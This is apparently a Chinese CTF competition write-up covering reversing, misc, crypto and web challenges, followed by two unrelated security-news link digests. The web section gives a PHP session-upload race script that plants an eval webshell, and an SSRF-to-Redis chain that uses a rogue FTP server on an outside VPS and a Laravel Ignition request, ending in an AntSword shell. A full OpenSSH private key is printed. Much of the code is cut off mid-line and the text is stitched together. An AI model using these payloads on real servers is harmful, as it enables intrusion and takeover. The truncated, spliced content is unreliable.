(data >> 5)^data data = ((tmp << 7)&2565961507)^ data data = ((tmp << 0x18)&904182048)^ data data = (tmp >> 0x12)^ data 这三组用z3进行约束求解 之后 分段解密得到flag字符串为16584abc45baff901c59dde3b1bb6701a254b06cdc23 3、smc 首先搜索字符串定位关键代码 动态调试，让程序自解密得到代码如下： 分析发现就是将程序进行base64变表加密之后再与四个数字进行异或 跟到base变表如下： 之后直接上脚本解密 #include<iostream> #include <iomanip> using namespace std; int main() { int table[64] = {0xE4,0xC4,0xE7,0xC7,0xE6,0xC6,0xE1,0xC1,0xE0,0xC0,0xE3,0xC3,0xE2,0xC2,0xED,0xCD,0xEC,0xCC,0xEF,0xCF,0xEE,0xCE,0xE9,0xC9,0xE8,0xC8,0xEB,0xCB,0xEA,0xCA,0xF5,0xD5,0xF4,0xD4,0xF7,0xD7,0xF6,0xD6,0xF1,0xD1,0xF0,0xD0,0xF3,0xD3,0xF2,0xD2,0xFD,0xDD,0xFC,0xDC,0xFF,0xDF,0x95,0x9C,0x9D,0x92,0x9  int code[56] = {0x48,0x3E,0x6F,0x51,0x6E,0x36,0x61,0x71,0x4C,0x72,0x7B,0x44,0x48,0x36,0x6F,0x64,0x68,0x64,0x6D,0x30,0x64,0x4D,0x65,0x60,0x4D,0x42,0x6F,0x3F,0x6C,0x52,0x67,0x6C,0x48,0x74,0x47,0x50,0x4F,0x64,0x6F,0x62,0x44,0x6C,0x6B,0x6E,0x65,0x6A,0x6D,0x47,0x49,0x7C,0x67,0x68,0x44,0x62,0x3C,0x34};  for(int k=0;k<56;k+=4) {        code[k] ^= 0xa6;                code[k+1] ^= 0xa3;                code[k+2] ^= 0xa9;                code[k+3] ^= 0xac;   }        int a[56];//下标   for(int j=0;j<56;j++)      for(int i=0;i<64;i++)         if(table[i]==code[j])                   a[j]=i;               int len = 56;   int flag[56];   j=0;   int i=0;   do   {          flag[j] = (a[i]<<2) | (a[i+1]>>4); //取出第一个的前6位与第二个后2位进行组合          flag[j+1] = ((a[i+1] & 0xf)<<4) | (a[i+2]>>2); //取出第二个的后4位与第三个的后4位进行组合          flag[j+2] = ((a[i+2] & 0x3)<<6) | (a[i+3]);//取出第三个字符的后2位与第4个字符进行组合          j+=3;        i+=4;   }      while(i<len-2);//8/4*3=6    cout<<"V8:"<<endl;    for(i=0;i<56;i+=4)   {        printf("%c%c%c%c", flag[i], flag[i+1], flag[i+2], flag[i+3]);   }        return 0; } 4、Deltx 分析程序，发现输入应该为41位，然后将SangFor{}里面的数据分为八组，每组4byte 之后后面的判断实际都是判断相乘和相加的结果 直接列出方程在线解密 -v16 + v10 = -42564 v16*v10=614340037 得到v16 = 0xD2BF v10 = 0x2C7B 以此类推 得到flag为 SangFor{2C7BD2BF862564baED0B6B6EA94F15BC} Misc 1、签到 根据图片含义推断数字含义，比较脑洞，对gif逐帧分离后 28-08-30-07-04-20-02-17-23-01-12-19 求一下md5 d93b7da38d89c19f481e710ef1b3558b 2、赛博德国人 压缩包的hint 流量包导出pdf 和 txt 还可以找到密码为d279186428a75016b17e4df5ea43d080230 打开pdf有密钥 然后engima解密得到475748547berta36623936373230356665373537393566313034383537316366346366623730337dora 德语单词和十六进制转化后得到GWHT{6b967205fe75795f1048571cf4cfb703} 3、misc520 150号压缩包里面提取到 72, 89, 75, 88, 128, 93, 58, 116, 76, 121, 120, 63, 108, 解压0号压缩包，并从flag.png中提取压缩包，爆破密码，得到流量包如下： 不支持在 Docs 外粘贴 block 类似xnuca那个鼠标流量，还原鼠标流量画图 前后两部分字符串拼接起来，asc偏移解密 GWHT{W3lCom3_t0_M!sc} 4、Baby_Forenisc vol,cmdscan发现要找git号,过滤git有关内容 发现ssh.txt连接github的私钥 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 putty加载 发现了一个邮箱，去GitHub搜索，是个手机app 下载APP文件，在里面找到一个htm，有段base U2FuZ0ZvcntTMF8zYXp5XzJfY3JhY2tfbm9vYl9wbGF5ZXJ9 解base64即可 Crypto 1、Rsa? 读getloop函数，有： (x1+a*y1)(mod n)=((X+aY)^65536)(mod n) 因为 a=((inv_Z1-X)*inv_Y)%n， 所以 (x1+a*y1)(mod n)=(inv_Z1^65536)(mod n) yafu分解n 求得inv_Z1，Z1，X X+aY=inv_Z1 故 Y=((inv_Z1-X)*inv_a)(mod n) from gmpy2 import invert from Crypto.Util.number import long_to_bytes n = 13390709926509813526471364597371124446888078365567927211781799241724742352679484983709219580483800891886832613684875066109177882219522305348565532970795023 p = 115718235064789220654263009993128325569382592506655305434488398268608329541037 q = 115718235064789220654263009993128324769382192706654302434478391267607309966379 phin = (p - 1) * (q - 1) x1 = 5404548088049249951619519701935576492239293254135836357417714329205323074367876875480850741613547220698045360461761929952847796420174204143917852624050110 y1 = 2110372753170830610718226848526649992911771424441223687775304654852191999130502986109306355582366065947895295520226816523397652918227241733632791793362785 e = 65537 a = 1762039418842677123086894939949574689744108610561557889235294034870342076452734215004689409493802437034960516295735815195656138656970901855976802991519141 d = invert(e, phin) inv_Z1 = pow((x1 + a * y1) % n, d, n) Z1 = invert(inv_Z1, n) inv_2 = invert(2, n) X = ((Z1 + inv_Z1) * inv_2) % n Y = ((inv_Z1 -X) * invert(a, n)) % n print(long_to_bytes(Y)) flag：GWHT{pell_equation_is_very_interesting} 2、Bigrsa 模不互素攻击。p可以从greatest common factor(n1、n2)得到， 求出q1、q2，就可以有私钥解密了 import math from gmpy2 import invert from Crypto.Util.number import * n1 = 1038352964090817518607705355147465868153958984272603343256803136483691326610578406808232955122369489533708955684197213311708345578125414683092988194972677468928145838064230271673828254791579513658230856390787388476476344068413313070355938107129145453472016190042536026921273702658330920825430671 n2 = 1153831985846771474875560143364483107218538411687580124456341828141803144805018289271600710151970894560424721858508938473704818173258688240762452907357497173847696616988950001764414972423718739813536896077111468528915514911685287998143119924714496400145018587634954722671682240156659066273824905 e = 65537 c = 60406168302768860804211220055708551816238816061772464557956985699400782163597251861675967909246187833328847989530950308053492202064477410641014045601986036822451416365957817685047102703301347664879870026582087365822433436251615243854347490600004857861059245403674349457345319269266645006969222744 p = math.gcd(n1, n2) print(p) p = 10210039189276167395636779557271057346691950991057423589319031237857569595284598319093522326723650646963251941930167018746859556383067696079622198265424441 q1 = n1 // p q2 = n2 // p phin1 = (p - 1) * (q1 - 1) phin2 = (p - 1) * (q2 - 1) d1 = invert(e, phin1) d2 = invert(e, phin2) m = pow(c, d2, n2) m = pow(m, d1, n1) print(long_to_bytes(m)) flag：SangFor{qSccmm1WrgvIg2Uq_cZhmqNfEGTz2GV8} 3、RingRingRing import stringimport pwnfrom pwnlib.util.iters import mbruteforcefrom hashlib import md5def main(): r = pwn.remote("192.168.39.161", 2378) msg = r.recvuntil('xxxxx:').decode() suffix = msg[msg.find(' + ') + 3: msg.find(')')] cipher = msg[msg.find('==') + 3: msg.find('\n')] proof = mbruteforce(lambda flag：GWHT{a_funny_equation} 4、MISS https://github.com/Mathsyo/CTFs/tree/2630cdb64799774020d32107ff0ebcf269c64535/MidnightFlagCTF/Cryptography/Something_missingS_BOX = [ 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf flag：SangFor{cb4_k27} 5、Easy_Rsa (p-1)和(q-1)有公共的大质数因数g，用魔改的rho方法分解n https://0xdktb.top/2020/02/28/Summary-of-Crypto-in-CTF-RSA/中U13 from Crypto.Util.number import *from gmpy2 import invertdef f(x, n): return (pow(x, n - 1, n) + 3) % ndef rho(n): i = 1 while True: a = getRandomRange(2, n) b = f(a, n) j = 1 while True: p = GCD(abs(a - b), n) # print('{} in {} circle'.format(j, i)) if p == n: break elif p > 1: return (p, n // p) el flag：SangFor{0a8c2220-4c1b-32c8-e8c1-adf92ec7678b} Web 1、only 4 https://www.freebuf.com/vuls/202819.html 条件竞争的脚本直接打 #coding=utf-8import ioimport requestsimport threadingsessid = 'bad_cat'data = {"cmd":"system('cat /flag');"}def write(session): while True: f = io.BytesIO(b'a' * 1024 * 50) resp = session.post( 'http://192.168.39.161:8000/index.php', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?> 回显flag 2、cross the side ssrf打6379的redis，过程和脚本参考 https://github.com/Maskhe/evil_ftphttps://www.cnblogs.com/zpchcbd/p/14702897.htmlpayload用 https://github.com/tarunkant/Gopherus 生成 自己vps跑个恶意ftp: # -*- coding: utf-8 -*-# @Time : 2021/1/13 6:56 下午# @Author : tntaxin# @File : ftp_redirect.py# @Software:import socketfrom urllib.parse import unquote# 对gopherus生成的payload进行一次urldecodepayload = unquote("%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0 发包 POST /_ignition/execute-solution HTTP/1.1Host: 192.168.39.161:8077Content-Type: application/jsonContent-Length: 194{ "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": { "variableName": "username", "viewFile": "ftp://aaa@81.70.59.112:23/123" }} 访问发现写进去了，antsword连接 http://81.70.59.112:23/shell.php 根目录flag https://www.yijinglab.com/pages/CTFLaboratory.jsp

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、Netgear 修补小型路由器中的远程代码执行漏洞 https://www.securityweek.com/netgear-patches-remote-code-execution-flaw-soho-routers 2、海康威视摄像头因严重漏洞可能遭受攻击 https://www.securityweek.com/many-hikvision-cameras-exposed-attacks-due-critical-vulnerability 3、研究人员在 AWS WorkSpaces 中发现远程代码执行漏洞 https://www.securityweek.com/remote-code-execution-vulnerability-found-aws-workspaces 4、由于 Microsoft Exchange 协议缺陷导致数十万凭据泄露 https://www.securityweek.com/hundreds-thousands-credentials-leaked-due-microsoft-exchange-protocol-flaw 5、Chrome 94更新修补了19个漏洞包含多个高危漏洞 https://www.securityweek.com/google-working-improving-memory-safety-chrome 6、研究人员在Nagios 网络管理产品发现多个严重漏洞 https://securityaffairs.co/wordpress/122464/hacking/nagios-network-management-systems-flaws.html 7、 VMware 修复了 vCenter Server 中的高危漏洞 https://securityaffairs.co/wordpress/122454/security/vmware-vcenter-server-cve-2021-22005.html 8、以色列通信巨头Voicenter公司遭到黑客入侵 https://www.middleeastmonitor.com/20210921-israel-communications-company-hit-by-major-cyberattack/ 9、美国爱荷华州农民合作社遭到勒索软件攻击 https://threatpost.com/blackmatter-strikes-iowa-farmers-cooperative-demands-5-9m-ransom/174846/ 10、CISA、FBI和NSA警告称Conti 勒索软件攻击正在升级 https://securityaffairs.co/wordpress/122480/security/conti-ransomware-attacks-escalation.html

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、Finder 中未修补的高危漏洞影响macOS 用户 https://thehackernews.com/2021/09/unpatched-high-severity-vulnerability.html 2、新的 Capoae 恶意软件渗透 WordPress 网站并安装后门 https://thehackernews.com/2021/09/new-capoae-malware-infiltrates.html 3、Cring Ransomware Gang 利用 11 年前的 ColdFusion 漏洞 https://thehackernews.com/2021/09/cring-ransomware-gang-exploits-11-year.html 4、研究人员在 iOS 15 发布当天披露 iPhone 锁屏绕过 https://therecord.media/researcher-discloses-iphone-lock-screen-bypass-on-ios-15-launch-day/ 5、Mirai 在野外利用 OMIGOD 漏洞 https://cyware.com/news/mirai-exploits-omigod-flaws-in-the-wild-6c743051 6、Turla APT 组织使用新后门攻击阿富汗、德国和美国 https://securityaffairs.co/wordpress/122437/apt/turla-apt-new-backdoor-afghanistan.html 7、Apache OpenOffice 存在远程代码执行漏洞 https://securityaffairs.co/wordpress/122426/security/apache-openoffice-rce-cve-2021-33035.html 8、1.06亿泰国游客数据在网上泄露 https://securityaffairs.co/wordpress/122418/data-breach/thailand-visitors-leaked-online.html 9、Numando 银行木马利用YouTube、Pastebin等公共平台作为C2 https://securityaffairs.co/wordpress/122371/malware/numando-banking-trojan.html 10、9月Windows安全更新导致网络打印机故障 https://www.bleepingcomputer.com/news/security/new-windows-security-updates-break-network-printing/